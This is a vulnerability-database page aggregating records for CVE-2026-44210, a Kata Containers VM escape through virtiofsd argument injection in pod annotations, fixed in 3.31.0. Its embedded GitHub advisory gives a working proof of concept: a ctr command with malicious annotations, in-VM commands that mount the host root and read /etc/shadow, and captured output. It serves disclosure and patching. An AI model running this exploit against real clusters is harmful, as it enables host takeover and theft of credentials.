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Kata Containers have VM Escape via virtiofsd Argument Injection through Default-Enabled Pod Annotations

CVSS 4.0 5.8 MEDIUMEUVD CVSS 4.0 5.8 CVSS 4.0 · [email protected] · Secondary 5.8 MEDIUMCVSS 3.1 · [email protected] · Primary 9.9 CRITICALCVSS_V4 Publisher rating MODERATEFixed by github.com/kata-containers/kata-containers 0.0.0-20260519062212-ffa59ce3aa78osv · severity unknownFixed by github.com/kata-containers/kata-containers 0.0.0-20260519062212-ffa59ce3aa78KEV status unknown

cve-program · CVE-2026-44210

Published

Kata Containers is an open source project focusing on a standard implementation of lightweight Virtual Machines (VMs) that perform like containers. Versions prior to 3.31.0 ship with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the `io.katacontainers.config.hypervisor.virtio_fs_extra_args` pod annotation. By injecting `-o source=/` along with `--no-announce-submounts` and `--sandbox=none`, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the `kernel_params` annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow. Version 3.31.0 patches the issue.

Read the publisher's advisory

euvd · EUVD-2026-48339

Published

Kata Containers is an open source project focusing on a standard implementation of lightweight Virtual Machines (VMs) that perform like containers. Versions prior to 3.31.0 ship with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the `io.katacontainers.config.hypervisor.virtio_fs_extra_args` pod annotation. By injecting `-o source=/` along with `--no-announce-submounts` and `--sandbox=none`, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the `kernel_params` annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow. Version 3.31.0 patches the issue.

Read the publisher's advisory

nvd · CVE-2026-44210

Published

Kata Containers is an open source project focusing on a standard implementation of lightweight Virtual Machines (VMs) that perform like containers. Versions prior to 3.31.0 ship with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the `io.katacontainers.config.hypervisor.virtio_fs_extra_args` pod annotation. By injecting `-o source=/` along with `--no-announce-submounts` and `--sandbox=none`, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the `kernel_params` annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow. Version 3.31.0 patches the issue.

Read the publisher's advisory

osv · GHSA-rr59-xxvx-96qr

Published

## Summary Kata Containers ships with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the `io.katacontainers.config.hypervisor.virtio_fs_extra_args` pod annotation. By injecting `-o source=/` along with `--no-announce-submounts` and `--sandbox=none`, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the `kernel_params` annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow. ## Details The default Kata configuration at configuration.toml line 1 contains: ``` enable_annotations = ["enable_iommu", "virtio_fs_extra_args", "kernel_params", "kernel_verity_params"] ``` Both `virtio_fs_extra_args` and `kernel_params` are enabled out of the box. The annotation name is checked against this allowlist, but the annotation value (the actual arguments) is never validated or filtered. In utils.go at line 981, the runtime parses the annotation value as a JSON string array and appends it directly to the virtiofsd arguments: ```go if value, ok := ocispec.Annotations[vcAnnotations.VirtioFSExtraArgs]; ok { var parsedValue []string err := json.Unmarshal([]byte(value), &parsedValue) // ... sbConfig.HypervisorConfig.VirtioFSExtraArgs = append( sbConfig.HypervisorConfig.VirtioFSExtraArgs, parsedValue...) } ``` In virtiofsd.go at line 183-198, the runtime builds the virtiofsd command line with `--shared-dir=<kata_managed_path>` first, then appends the extra args: ```go args := []string{ "--syslog", "--cache=" + v.cache, "--shared-dir=" + v.sourcePath, fmt.Sprintf("--fd=%v", FdSocketNumber), } if len(v.extraArgs) != 0 { args = append(args, v.extraArgs...) } ``` The virtiofsd binary (Rust, from gitlab.com/virtio-fs/virtiofsd) supports a compatibility option `-o source=PATH` that overrides the `--shared-dir` value. This is processed after clap argument parsing, in the `parse_compat()` function at main.rs:462: ```rust ["source", value] => opt.shared_dir = Some(value.to_string()), ``` Because `-o source=/` is appended after `--shared-dir=<kata_path>`, it overrides the shared directory to `/`. The virtiofsd process then serves the entire host root filesystem through the virtio-fs device. Additionally, virtiofsd's `--announce-submounts` flag (set by default) causes the guest kernel to create FUSE automounts for bind mounts within the shared directory. When the shared directory is `/`, this produces automounts that shadow the root directory listing. Injecting `--no-announce-submounts` disables this behavior and exposes the true host root directory contents through the kataShared virtiofs mount. The `kernel_params` annotation is used to inject `agent.debug_console agent.debug_console_vport=1026` into the VM kernel command line. This enables a root shell inside the VM through the kata-runtime exec command. From this shell, the attacker mounts the kataShared virtiofs filesystem and accesses host files directly. ## Rootfs bridge (PoC artifact, not a real constraint) When virtiofsd uses `-o source=/` to serve the host root, the Kata agent looks for the container rootfs at `/<container-id>/rootfs` relative to the virtiofs root. The PoC pre-creates this directory on the host to keep the demonstration self-contained with ctr. In a real Kubernetes attack, there are several ways to satisfy this without hostPath volumes. An initContainer that runs before the target container can create the directory. Alternatively, the attacker can set up a second pod that writes to a shared persistent volume mounted on the host. The rootfs bridge is a PoC convenience, not a limitation of the vulnerability itself. ## Impact An attacker who can create pods on a Kubernetes cluster using Kata Containers with default configuration can: - Read any file on the host, including /etc/shadow, SSH private keys, and service credentials - Write to any file on the host, enabling persistent backdoors, cron jobs, or binary replacement - Access other containers' data through the host filesystem - Compromise the Kubernetes control plane if it runs on the same host ## Steps to reproduce Tested on a bare metal server (AMD Ryzen 5 3600, Ubuntu 24.04, kernel 6.8.0-100-generic) with Kata Containers 3.28.0 installed from the official release tarball. 1. Install Kata Containers 3.28.0 and configure containerd. Verify that the default configuration has virtio_fs_extra_args in enable_annotations. 2. Pull a container image: ``` ctr image pull docker.io/library/alpine:latest ``` 3. Run the PoC script below, or follow the manual steps: Manual steps: a. Extract a container rootfs and create the rootfs bridge (replace $SB_ID with your container name): ``` SB_ID="poc-exploit" mkdir -p /$SB_ID/rootfs # Extract alpine rootfs from OCI image mkdir -p /tmp/oci-extract ctr image export /tmp/oci.tar docker.io/library/alpine:latest tar xf /tmp/oci.tar -C /tmp/oci-extract IDX=$(jq -r '.manifests[0].digest' /tmp/oci-extract/index.json | sed 's/sha256://') MFT=$(jq -r '.manifests[] | select(.platform.architecture=="amd64") | .digest' \ "/tmp/oci-extract/blobs/sha256/$IDX" | head -1 | sed 's/sha256://') LYR=$(jq -r '.layers[0].digest' "/tmp/oci-extract/blobs/sha256/$MFT" | sed 's/sha256://') tar xzf "/tmp/oci-extract/blobs/sha256/$LYR" -C /$SB_ID/rootfs rm -rf /tmp/oci-extract /tmp/oci.tar ``` b. Create a marker file on the host to prove access: ``` echo "HOST_ESCAPE_PROOF_$(date)" > /root/.poc-marker ``` c. Start the container with the malicious annotations: ``` ctr run \ --runtime io.containerd.kata.v2 \ --annotation 'io.katacontainers.config.hypervisor.virtio_fs_extra_args=["--sandbox=none","--seccomp=none","-o","source=/","--no-announce-submounts"]' \ --annotation 'io.katacontainers.config.hypervisor.kernel_params=agent.debug_console agent.debug_console_vport=1026' \ docker.io/library/alpine:latest $SB_ID \ sleep 3600 & ``` Wait 20-30 seconds for the VM to start. Verify with `ctr task ls`. d. Enter the VM through the debug console: ``` /opt/kata/bin/kata-runtime exec $SB_ID ``` e. Inside the VM, mount the host filesystem and read host files: ``` mkdir -p /tmp/hostfs mount -t virtiofs kataShared /tmp/hostfs cat /tmp/hostfs/etc/hostname cat /tmp/hostfs/root/.poc-marker head -3 /tmp/hostfs/etc/shadow cat /tmp/hostfs/etc/os-release ls /tmp/hostfs/opt/kata/bin/ ``` f. Observe that /etc/hostname returns the host's hostname (not "localhost"), /etc/os-release shows the host OS (Ubuntu, not Alpine), /etc/shadow shows the host's password hashes, and /opt/kata/bin/ lists the Kata binaries installed on the host. 4. Clean up: ``` ctr task kill $SB_ID --signal SIGKILL ctr container rm $SB_ID umount /$SB_ID/rootfs rm -rf /$SB_ID ``` ## Proof of concept output Below is the output from a successful run on Kata Containers 3.28.0. The host runs Ubuntu 24.04. The container image is Alpine Linux. ``` root@7a7325d5d804:/# mkdir -p /tmp/h && mount -t virtiofs kataShared /tmp/h root@7a7325d5d804:/# echo DIRCOUNT:$(ls /tmp/h/ | wc -l) DIRCOUNT:37 root@7a7325d5d804:/# echo HOSTNAME:$(cat /tmp/h/etc/hostname) HOSTNAME:kata-poc root@7a7325d5d804:/# echo OSREL:$(head -1 /tmp/h/etc/os-release) OSREL:PRETTY_NAME="Ubuntu 24.04.3 LTS" root@7a7325d5d804:/# cat /tmp/h/root/.kata-poc-marker HOST_NS2_1776058192 root@7a7325d5d804:/# echo SHADOW:$(head -1 /tmp/h/etc/shadow) SHADOW:root:*:17478:0:99999:7::: root@7a7325d5d804:/# echo BOOT:$(ls /tmp/h/boot 2>/dev/null | head -3) BOOT:System.map-6.8.0-100-generic System.map-6.8.0-107-generic config-6.8.0-100-generic root@7a7325d5d804:/# echo KATA:$(ls /tmp/h/opt/kata/bin 2>/dev/null | head -3) KATA:cloud-hypervisor containerd-shim-kata-v2 firecracker ``` The host's real hostname (kata-poc), OS (Ubuntu 24.04.3 LTS), /etc/shadow content, kernel files in /boot, and Kata binaries in /opt/kata/bin are all visible from inside the VM. The container itself runs Alpine, confirming this is the host filesystem and not the container's own filesystem.

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osv · GO-2026-5638

Published

Kata Containers have VM Escape via virtiofsd Argument Injection through Default-Enabled Pod Annotations in github.com/kata-containers/kata-containers

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Affected versions, risk and source history

cve-program · CVE-2026-44210

Published

kata-containers

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "kata-containers",
                    "product": "kata-containers",
                    "versions": [
                        {
                            "version": "< 3.31.0",
                            "status": "affected"
                        }
                    ]
                }

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euvd · EUVD-2026-48339

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Jul 23, 2026, 5:32:23 PM

dateUpdated: Jul 24, 2026, 10:03:05 PM

1 related source bulletins · separate from aliases

msrc_CVE-2026-44210: Kata Containers have VM Escape via virtiofsd Argument Injection through Default-Enabled Pod Annotations

CVE-2026-44210

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-44210

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-88

Original publisher date fields

published: 2026-07-23T18:16:51.053

lastModified: 2026-08-06T00:57:54.957

1 source CPE criteria · context only
  • cpe:2.3:a:katacontainers:kata_containers:*:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-rr59-xxvx-96qr

Published

github.com/kata-containers/kata-containers

Go

SEMVER · introduced 0 → fixed 0.0.0-20260519062212-ffa59ce3aa78

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GO-2026-5638

Published

github.com/kata-containers/kata-containers

Go

SEMVER · introduced 0 → fixed 0.0.0-20260519062212-ffa59ce3aa78

Original source record · Cite this exact observation · Complete original publisher JSON

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Sources read 22 Nov 19:43 UTC · 274 of 275 readable · 270 fully read · documentation 469/469 current